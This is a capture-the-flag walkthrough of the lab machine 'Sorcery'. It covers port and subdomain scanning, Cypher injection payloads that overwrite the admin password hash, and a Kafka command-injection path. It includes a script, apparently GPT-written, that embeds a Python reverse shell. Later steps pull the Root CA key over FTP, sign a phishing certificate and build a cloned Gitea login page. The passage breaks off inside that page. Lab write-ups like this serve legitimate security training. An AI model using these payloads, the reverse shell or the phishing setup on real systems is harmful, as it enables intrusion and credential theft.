
Enum
$ rustscan --ulimit 10000 -a 10.129.238.66 -- -sCTV -Pn
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] Automatically increasing ulimit value to 10000.
Open 10.129.238.66:22
Open 10.129.238.66:443
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBfa7NkcG06jauyQoChLbmUKvvd6pkaufyqxTH7Lc0LeTfUmDv2PZsCeNM0mm6JytOdhIhsLONllRYME0Fizhjw=
443/tcp open ssl/https syn-ack nginx/1.27.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=sorcery.htb
| Issuer: commonName=Sorcery Root CA
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-31T02:09:11
| Not valid after: 2052-03-18T02:09:11
| MD5: c294:7d7a:2965:5c32:3dc9:b850:e2e5:0d9a
| SHA-1: 9d44:6d3d:5fb6:252c:da8b:3dd1:b5a2:aeb3:1e4b:5534
| -----BEGIN CERTIFICATE-----
| MIIEuTCCAqECFFDAAPGK7ud2DPpuM8BMaxLfK0U+MA0GCSqGSIb3DQEBCwUAMBox
| GDAWBgNVBAMMD1NvcmNlcnkgUm9vdCBDQTAgFw0yNDEwMzEwMjA5MTFaGA8yMDUy
| MDMxODAyMDkxMVowFjEUMBIGA1UEAwwLc29yY2VyeS5odGIwggIiMA0GCSqGSIb3
| DQEBAQUAA4ICDwAwggIKAoICAQCzJ67yuLHya53/zQsksQ67gOY0gNWc+OcVKmf6
| I8dwbMHLuBYRNckTwvrRgi6C+qSQlsJxzRqaAdmgVQphhSEC5yBsPJZlzXHVw4iZ
| 6rznhlhyAFFJTcZelj/Si2HDwG5VFE1FNRlPwSCk1JXAZGhDpJZhlyq+/3uA2DdF
| zdh+0VrWzbWwzNf551De5xRtWPfU5Bogn1qcuenCV2RmZqqGCYj0BP+I8E+AqccH
| gicLQCG7d9G5pY6y3PrI/fUslqA0QEdw5XthrZSOiAxBTOcqEW9uA4hssOsUTd3H
| benGAlApswSGy8wWEsKzu3AnvERMCUr+kel0wX/y4rSpMFYLc5YY5A262Lgwc2Ib
| XR5C8nFaGhcLwYtUiwf6HRo52rm18eu1lFNfHW0Wy6ay6K3jxgUfpDziIgZyGacZ
| PM7Yrmqnpe4ovrVawlytIu2bupNYVPtZAktSFhtZHrhjbQz5qDrAEySdhMDfBfD4
| jtBj5EbtPWNrphQsk3N0fN+xuZfIq3xDn8UEiZ/HqsYXFse1f0R3Cl7kpO3aVFX+
| Md4qKNM0wsrIMCywYP3ZmUYeX8NcHsgYNWILunX5qYBYHCY1J+sIu00ctPxfRDmU
| ve+ppb6GQYFPuXpGzr0GEQHQDpPIBG46QzYYnGa8PgYJeFgj7Pt96lcOXnlgiZoE
| Lrl4qwIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAzOj7t4yHHEI6Pn+FMyci/WFUi
| bQKq8QytZPb9n0oaU5WoECexuEsw9JeIUoMLbllB31bnbqJrdr2FdC3qBKJKlzM5
| MoJ+BdBMhhIO+q/AElc8y2kWxyqeuceLiEpt0FL3kN6y44eyqKSjb9hdIIAPqTB5
| 7AXCxLR7eP7zjBDPP5HVuEAvizmXyCTF4/6SnvyAse3SF5G2cKWr+yNqtZOkW0Us
| +3zoj/qP0pnHjZLR+OpQ9716Ls1Q1jvTB/RoUKuSTogDuhXJ1CYMhcQx9wkJcgZm
| lh5qAMh2eooxT6x9Ddyro45Z7u+rT3H9y6OcF5pWHlxQAj1hz6sw1mZqYN7gGwl6
| esChPBXQtH0cedj3e/2LDyvibMiY4ayRQo/ht98Q0qeyyTsms6DjphCbsdK6iDOQ
| g2ea6tdwmgEAvJggRcBhypBT6XGIjC6bP6cFy60NeMZUGvA673p18eYjTc3VFlpc
| FnInaCC2L9Dz8fn6iDWjlrPLcGDbIVLmsafFHd6oG9jor8ghNcPLQrSokJnZwkJM
| oWu6ErucUC/r9FPcDaWXBI9CzpwzRbYHo/L2nXikRS8MExI3yZWP5dsxFuALVZE4
| oGVdkAuuUVt+lOZ7ik8OWLxQKENAYAv88apzmWuHlM/j+/v9lygzauLtPhVhbpse
| 4PPnLBiUeFv9xmOPvw==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.27.1
| http-title: Sorcery
|_Requested resource was /auth/login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://FUZZ.sorcery.htb/ -H "Host: FUZZ.sorcery.htb" -k
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://FUZZ.sorcery.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.sorcery.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
git [Status: 200, Size: 13591, Words: 1048, Lines: 272, Duration: 259ms]- Not much here, so lets check out 443 (HTTPS) in browser

- Checkout Gitea - https://git.sorcery.htb/nicole_sullivan/infrastructure

- Issues has interesting information

- Hint at potential vulnerability Cypher Injection (make sure to URL encode).
- We know user asdf password, so lets grab hash and replace admin’s so we can login.
- Append URL Encoded payload to URL (leave first quote un-encoded)
"}) OPTIONAL MATCH (u:User {username: "asdf"}) RETURN result { .*, description: u.password }//
"%7D%29%20OPTIONAL%20MATCH%20%28u%3AUser%20%7Busername%3A%20%22asdf%22%7D%29%20RETURN%20result%20%7B%20%2E%2A%2C%20description%3A%20u%2Epassword%20%7D%2F%2F

- Now replace admin hash with known hash for “asdf”
"}) OPTIONAL MATCH (u:User {username: "admin"}) SET u.password = "$argon2id$v=19$m=19456,t=2,p=1$M+UZZHbWWGUXY6qyBtOx1w$S6NYd03Xf7imjO9EjPYukO5gA6Vq1dnjjqye9qDHiLo" RETURN result { .*, description: u.password }//
"%7D%29%20OPTIONAL%20MATCH%20%28u%3AUser%20%7Busername%3A%20"admin"%7D%29%20SET%20u.password%20%3D%20"%24argon2id%24v%3D19%24m%3D19456%2Ct%3D2%2Cp%3D1%24M%2BUZZHbWWGUXY6qyBtOx1w%24S6NYd03Xf7imjO9EjPYukO5gA6Vq1dnjjqye9qDHiLo"%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20u.password%20%7D%2F%2F

- Log out and login as admin : asdf

- Passkey required to use DNS/Debug/Blog
- Using chrome dev tools we can emulate passkey device

- Enable like so

- Add Passkey (keep console open)

- Now we can try to login via Passkey

- Now we can access tabs, finding hint at path in Blog

User
Path
- FTP server contains RootCA key
- Mail must originate from specific internal subdomain
- Tom is an idiot who clicks on anything
- Looking at source code we spot some useful information
- https://git.sorcery.htb/nicole_sullivan/infrastructure/src/branch/main/docker-compose.yml
services:
backend:
restart: always
platform: linux/amd64
build:
dockerfile: ./backend/Dockerfile
context: .
environment:
WAIT_HOSTS: neo4j:7687, kafka:9092
ROCKET_ADDRESS: 0.0.0.0
DATABASE_HOST: ${DATABASE_HOST}
DATABASE_USER: ${DATABASE_USER}
DATABASE_PASSWORD: ${DATABASE_PASSWORD}
INTERNAL_FRONTEND: http://frontend:3000
KAFKA_BROKER: ${KAFKA_BROKER}
SITE_ADMIN_PASSWORD: ${SITE_ADMIN_PASSWORD}
healthcheck:
test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/8000"]
interval: 5s
timeout: 10s
retries: 5
frontend:
restart: always
build: frontend
environment:
WAIT_HOSTS: backend:8000
API_PREFIX: ${API_PREFIX}
HOSTNAME: 0.0.0.0
healthcheck:
test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/3000"]
interval: 5s
timeout: 10s
retries: 5
neo4j:
restart: always
image: neo4j:5.23.0-community-bullseye
environment:
NEO4J_AUTH: ${DATABASE_USER}/${DATABASE_PASSWORD}
healthcheck:
test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/7687"]
interval: 5s
timeout: 10s
retries: 5
kafka:
restart: always
build: kafka
environment:
CLUSTER_ID: pXWI6g0JROm4f-1iZ_YH0Q
KAFKA_NODE_ID: 1
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT
KAFKA_LISTENERS: PLAINTEXT://kafka:9092,CONTROLLER://kafka:9093
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092
KAFKA_PROCESS_ROLES: broker,controller
KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:9093
KAFKA_CONTROLLER_LISTENER_NAMES: CONTROLLER
healthcheck:
test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/kafka/9092"]
interval: 5s
timeout: 10s
retries: 5
dns:
restart: always
build: dns
environment:
WAIT_HOSTS: kafka:9092
KAFKA_BROKER: ${KAFKA_BROKER}
mail:
restart: always
image: mailhog/mailhog:v1.0.1
ftp:
restart: always
image: million12/vsftpd:cd94636
environment:
ANONYMOUS_ACCESS: true
LOG_STDOUT: true
volumes:
- "./ftp/pub:/var/ftp/pub"
- "./certificates/generated/RootCA.crt:/var/ftp/pub/RootCA.crt"
- "./certificates/generated/RootCA.key:/var/ftp/pub/RootCA.key"
healthcheck:
test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/21"]
interval: 5s
timeout: 10s
retries: 5
gitea:
restart: always
build:
dockerfile: gitea/Dockerfile
context: .
environment:
GITEA_USERNAME: ${GITEA_USERNAME}
GITEA_PASSWORD: ${GITEA_PASSWORD}
GITEA_EMAIL: ${GITEA_EMAIL}
USER_UID: 1000
USER_GID: 1000
GITEA__service__DISABLE_REGISTRATION: true
GITEA__openid__ENABLE_OPENID_SIGNIN: false
GITEA__openid__ENABLE_OPENID_SIGNUP: false
GITEA__security__INSTALL_LOCK: true
healthcheck:
test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/3000"]
interval: 5s
timeout: 10s
retries: 5
mail_bot:
restart: always
platform: linux/amd64
build: mail_bot
environment:
WAIT_HOSTS: mail:8025
MAILHOG_SERVER: ${MAILHOG_SERVER}
CA_FILE: ${CA_FILE}
EXPECTED_RECIPIENT: ${EXPECTED_RECIPIENT}
EXPECTED_DOMAIN: ${EXPECTED_DOMAIN}
MAIL_BOT_INTERVAL: ${MAIL_BOT_INTERVAL}
SMTP_SERVER: ${SMTP_SERVER}
SMTP_PORT: ${SMTP_PORT}
PHISHING_USERNAME: ${PHISHING_USERNAME}
PHISHING_PASSWORD: ${PHISHING_PASSWORD}
volumes:
- "./certificates/generated/RootCA.crt:/app/RootCA.crt"
nginx:
restart: always
build: nginx
volumes:
- "./nginx/nginx.conf:/etc/nginx/nginx.conf"
- "./certificates/generated:/etc/nginx/certificates"
environment:
WAIT_HOSTS: frontend:3000, gitea:3000
healthcheck:
test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/443"]
interval: 5s
timeout: 10s
retries: 5
ports:
- "443:443"- Command Injection found - https://git.sorcery.htb/nicole_sullivan/infrastructure/src/branch/main/dns/src/main.rs
*snip*
for message_set in message_sets.iter() {
for message in message_set.messages() {
let Ok(command) = str::from_utf8(message.value) else {
continue;
};
println!("[*] Got new command: {}", command);
let mut process = match Command::new("bash").arg("-c").arg(command).spawn() {
Ok(process) => process,
Err(error) => {
println!("[-] {error}");
continue;
}
};- If we can interact with kafka, we should be able to execute commands
- Debug menu supplies interesting functionality

*snip*
#[post("/port", data = "<data>")]
pub fn port_data(
_guard1: RequireAdmin,
_guard2: RequirePasskey,
data: Json<Request>,
) -> Result<Json<Response>, AppError> {
let Ok(mut stream) = TcpStream::connect(format!("{}:{}", data.host, data.port)) else {
return Err(AppError::NotFound);
};
if stream
.set_read_timeout(Some(Duration::from_secs(5)))
.is_err()
{
return Err(AppError::Unknown);
}
let mut response: Option<Vec<String>> = match data.expect_result {
true => Some(vec![]),
false => None,
};
for request in data.data.iter() {
let Ok(to_send) = hex::decode(request) else {
return Err(AppError::WrongInput);
};
if stream.write(to_send.as_slice()).is_err() {
return Err(AppError::Unknown);
}
if data.expect_result {
let mut result = Vec::new();
stream.read_to_end(&mut result).ok();
response.as_mut().unwrap().push(hex::encode(&result));
}
}
*snip*- Appears we can send a payload through Debug and achieve RCE with kafka
- Teammate supplied a payload generator script from GPT
kafka.py
import struct, zlib
def make_produce_payload(topic: str, cmd: str) -> bytes:
# ——— Header ———
api_key = 0 # Produce
api_version = 0
correlation = 1
client_id = "" # empty
header = struct.pack(">hhI H", api_key, api_version, correlation, len(client_id)) \
+ client_id.encode()
# ——— Message (CRC + magic+attrs+keylen+valuelen+value) ———
magic, attrs = b"\x00", b"\x00"
key_len = struct.pack(">i", -1) # null key
val_bytes = cmd.encode()
val_len = struct.pack(">i", len(val_bytes))
body = magic + attrs + key_len + val_len + val_bytes
crc = struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)
message = crc + body
# ——— MessageSet ———
offset = struct.pack(">q", 0)
msg_size = struct.pack(">i", len(message))
message_set = offset + msg_size + message
ms_size_field = struct.pack(">i", len(message_set))
# ——— PartitionData array ———
partition = struct.pack(">i", 0)
parts_array = struct.pack(">i", 1) + partition + ms_size_field + message_set
# ——— TopicData array ———
tname = topic.encode()
topic_str = struct.pack(">h", len(tname)) + tname + parts_array
topics_arr = struct.pack(">i", 1) + topic_str
# ——— Body ———
required_acks = struct.pack(">h", 1)
timeout_ms = struct.pack(">i", 5000)
body_all = required_acks + timeout_ms + topics_arr
# ——— Full request with length prefix ———
req = header + body_all
return struct.pack(">i", len(req)) + req
if __name__ == "__main__":
cmd = "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"<IP>\",<PORT>));[os.dup2(s.fileno(), f) for f in (0,1,2)]; pty.spawn(\"/bin/bash\")'"
payload = make_produce_payload("update", cmd)
print(payload.hex())
- Catch with listener
user@7bfb70ee5b9c:/app$ id
uid=1001(user) gid=1001(user) groups=1001(user)
user@7bfb70ee5b9c:/app$ whoami
user- Recall that the FTP server hosts the RootCA certificates
- Limited shell so python is useful here
user@7bfb70ee5b9c:/app$ cd ../home/user
cd ../home/user
user@7bfb70ee5b9c:/home/user$ python3 -c 'import ftplib; f=ftplib.FTP("ftp"); f.login("anonymous","anonymous@example.com"); f.cwd("pub"); [f.retrbinary(f"RETR {x}", open(x,"wb").write) for x in ["RootCA.key","RootCA.crt"]]; f.quit()'
user@7bfb70ee5b9c:/home/user$ ls
RootCA.crt RootCA.key
user@7bfb70ee5b9c:/home/user$ cat RootCA.crt
-----BEGIN CERTIFICATE-----
MIIFFzCCAv+gAwIBAgIUVZjiESnop+nNu9rkWlbXORjlrc0wDQYJKoZIhvcNAQEL
BQAwGjEYMBYGA1UEAwwPU29yY2VyeSBSb290IENBMCAXDTI0MTAzMTAyMDkwOFoY
DzIyOTgwODE2MDIwOTA4WjAaMRgwFgYDVQQDDA9Tb3JjZXJ5IFJvb3QgQ0EwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCN/ViSM+ZkeuX17l4GF+0GTcfO
0HX98yvnA5+MQ+TvzKuEHUxkmlL/28xwtIzT/ejB0sKcr7T733kiiy2PMsIbywzM
rJrlLBCAekb1hdqXXb0CcNEZrVQGZnU2h9iFBpsexXvh+oUPszrBdxOAITI6HPio
p/IjTfyt1QNtQJTNcB7ernYVb4lH043QAgS6M9CcYXev7pDarynbOZvEe5aS42NY
+MtEg643k4JM1T4NQGKHkGhWO/73OzCero2Rpyz/Wo7fVnpVhrwNdexiStbCUtqQ
qDKaieeigjZtpQKNLC5tC6fWrN3dSWT+diyQ+sQfrVYQQc8oWPbQHAysaGP6KGW+
V51Ai5z0vshG5W36GEHAmP8opvvVzPrS4Y9L6L1rMuIHwsCmTz/koBf8pJJ0sURB
1edux+j+Wzp9B8umONaKMOvG1GejVGW8UAhmVhK3ebr/Vto48J5svgtJO9d/QmZd
XlKsIdvaRUzSHTQfflQ7k1G9AlNdp3PNXW4YrlWlP+b4aSSyet6EyQR1KFmipGu2
ozbgMxYQ0nb4UwkCar3QJ3funYBjTdJtV5fHSUzmTO0BRH2jFi0VaDtIMBpmYQFo
kUJZSA5PW+ujDLoAQQDjMd5M7NJi4dWPdbAL9zCL7I41DUyk2hPuYVocd7SW1pTU
7bER1p5kKYlhwhnAHQIDAQABo1MwUTAdBgNVHQ4EFgQUjkNkC2vZwFux5uHSWfP+
U1HQbMkwHwYDVR0jBBgwFoAUjkNkC2vZwFux5uHSWfP+U1HQbMkwDwYDVR0TAQH/
BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAZHTimjRmsbRIlq2wIcNXnaFHtdk4
kvXcgHg3G9kPk27QKTYnAFicAmFDJkWdwMdB9eAhyurcvpWvP8Z+WFrQaOAUFZje
kY/CB+1/pouYIxw9IpTanl+hN0Ca4C74fXUfk3am21ntl7S/OomtZDISvaPALr1E
ejE3MiEBDg+V03tWA1fLtSX039rh2trjn5Jgg498jlumTV+62Tg9OoAS1liCPzLA
aps6odiYVnjuqhpfHRHoifIn1enadbLpKb7C58iw/KnuTzsQ8suweWbRsSkBKXQo
b8ozrF/MaxEk3dzakfV+yEsXIhmbDrPa0LGdAARXIPeEIRyl3qk7N4lmJVCt/94K
tyypoNIhqRvKLs+vGQHrGJjKezzm4ygZ0qO9z6QqliYobcRCioxb+Ml3qPGtggws
xrFDATMN5r5TNbTkm1y2apeB5fpaHyQLWZzbm7acZhBMVZ4wI/QPV2o+bwZeKCXH
frakt9Nz8KCzlulUt/C9D0rnFoTDJnG/focvWewuW9bKQqJLmSj6L0/Vvc2a+lWc
7kDfSUCHvTYR1OrwggA1HJ48Eu/NwNERvxXm395B9hCRgsji3jLEaUOgPuq1hrgb
u5GqrPn8BMpsLs92Y/pMUtWbF3DcM8jn+hjL3owallYj2E9Md6mQ5pfI1+PiTvf/
udz+k7mYqIcCjsE=
-----END CERTIFICATE-----
user@7bfb70ee5b9c:/home/user$ cat RootCA.key
-----BEGIN ENCRYPTED PRIVATE KEY-----
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
-----END ENCRYPTED PRIVATE KEY------ Lets enum hostnames (different each spawn)
user@7bfb70ee5b9c:/home/user$ for i in {1..12}; do getent hosts 172.19.0.$i; done
172.19.0.2 services-mail_bot-1.services_default
172.19.0.3 services-frontend-1.services_default
172.19.0.4 7bfb70ee5b9c
172.19.0.5 services-gitea-1.services_default
172.19.0.6 services-kafka-1.services_default
172.19.0.7 services-backend-1.services_default
172.19.0.8 services-mail-1.services_default
172.19.0.9 services-ftp-1.services_default
172.19.0.10 services-nginx-1.services_default
172.19.0.11 services-neo4j-1.services_default- Prepare our phishing environment
- When prompted for password -
password - services-mail-1.services_default is what we need to phish emails
user@7bfb70ee5b9c:/home/user$ openssl genrsa -out phish.sorcery.htb.key 2048
user@7bfb70ee5b9c:/home/user$ openssl req -new -key phish.sorcery.htb.key -out phish.sorcery.htb.csr -subj '/CN=phish.sorcery.htb'
user@7bfb70ee5b9c:/home/user$ openssl x509 -req -in phish.sorcery.htb.csr -CA ./RootCA.crt -CAkey ./RootCA.key -CAcreateserial -out phish.sorcery.htb.crt -days 365
user@7bfb70ee5b9c:/home/user$ cat phish.sorcery.htb.key phish.sorcery.htb.crt > phish.sorcery.htb.pem
user@7bfb70ee5b9c:/home/user$ cat RootCA.crt >> phish.sorcery.htb.pem- We still need a few things to complete our phishing scenario
- Create index.html on local machine
index.html
<!DOCTYPE html>
<html lang="en-US" data-theme="gitea-auto">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Sign In - Gitea: Git with a cup of tea</title>
<link
rel="manifest"
href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9sb2NhbGhvc3Q6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"
/>
<meta name="author" content="Gitea - Git with a cup of tea" />
<meta
name="description"
content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go"
/>
<meta name="keywords" content="go,git,self-hosted,gitea" />
<meta name="referrer" content="no-referrer" />
<link rel="icon" href="/assets/img/favicon.svg" type="image/svg+xml" />
<link rel="alternate icon" href="/assets/img/favicon.png" type="image/png" />
<link rel="stylesheet" href="/assets/css/index.css?v=1.22.1" />
<link rel="stylesheet" href="/assets/css/theme-gitea-auto.css?v=1.22.1" />
</head>
<body
hx-headers='{"x-csrf-token": "tVUz5vqZRLUZ2HBKze4YNyQYaqU6MTc1MDA1NzMyMDU1OTc0MTYyMw"}'
hx-swap="outerHTML"
hx-ext="morph"
hx-push-url="false"
>
<nav id="navbar" aria-label="Navigation Bar">
<a class="item" id="navbar-logo" href="/" aria-label="Home">
<img width="30" height="30" src="/assets/img/logo.svg" alt="Logo" />
</a>
<a class="item active" rel="nofollow" href="/user/login">Sign In</a>
</nav>
<div role="main" aria-label="Sign In" class="page-content user signin">
<div class="ui middle very relaxed page grid">
<div class="ui container column fluid">
<h4 class="ui top attached header center">Sign In</h4>
<div class="ui attached segment">
<form class="ui form" action="/user/login" method="post">
<input
type="hidden"
name="_csrf"
value="tVUz5vqZRLUZ2HBKze4YNyQYaqU6MTc1MDA1NzMyMDU1OTc0MTYyMw"
/>
<div class="required field">
<label for="user_name">Username or Email Address</label>
<input id="user_name" type="text" name="user_name" required autofocus />
</div>
<div class="required field">
<label for="password">Password</label>
<input
id="password"
type="password"
name="password"
required
autocomplete="current-password"
/>
</div>
<div class="inline field">
